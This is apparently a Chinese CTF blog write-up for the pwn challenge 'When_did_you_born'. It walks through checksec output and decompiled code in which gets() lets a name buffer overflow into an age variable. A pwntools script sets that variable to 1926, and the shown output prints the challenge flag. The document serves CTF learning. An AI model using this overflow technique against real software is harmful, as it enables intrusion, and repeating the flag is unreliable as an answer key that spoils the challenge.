CGCTF pwn When_did_you_born

原创

tuck3r 于 2019-08-23 10:14:55 发布 714 收藏 1
文章标签： CGCTF When_did_you_born pwn Writeup
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39596232/article/details/100031533
版权
题目描述：

只要知道你的年龄就能获得flag，但菜鸡发现无论如何输入都不正确，怎么办？

解题内容：

1、首先附件拿到手，我们先file一下，查看文件类型：

```
tucker@ubuntu:~/pwn$ file when_did_you_born
when_did_you_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a, stripped
```

是一个64bit的ELF文件，接下来使用checksec查看详细信息：

```
tucker@ubuntu:~/pwn$ checksec when_did_you_born
[*] '/home/tucker/pwn/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

发现其没有开启PIE。

2.我们使用IDA打开，核心代码如下：

```
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != '\n' )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
```

从中我们很容易发现v5是我们的溢出点，我们在get(&v4)时，构造恰当的v4，使其溢出，使得v5的值为1926，即0x0786，此时的栈帧如下：

因此我们可以利用接下来的代码进行溢出：

```
from pwn import *

# a = process("./when_did_you_born")
a = remote("111.198.29.45", "57195")
a.recvuntil("What's Your Birth?")

a.sendline('a')

a.recvuntil("What's Your Name?")

a.sendline("a" * 8 + p64(0x0786))

a.interactive()
```

运行结果如下：

```
tucker@ubuntu:~/pwn$ python when_did_you_born.py
[+] Opening connection to 111.198.29.45 on port 57195: Done
[*] Switching to interactive mode

You Are Born In 1926
You Shall Have Flag.
cyberpeace{24355d7f3716774698e56bca32b1e2a5}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 111.198.29.45 port 57195
```

由此我们得到了flag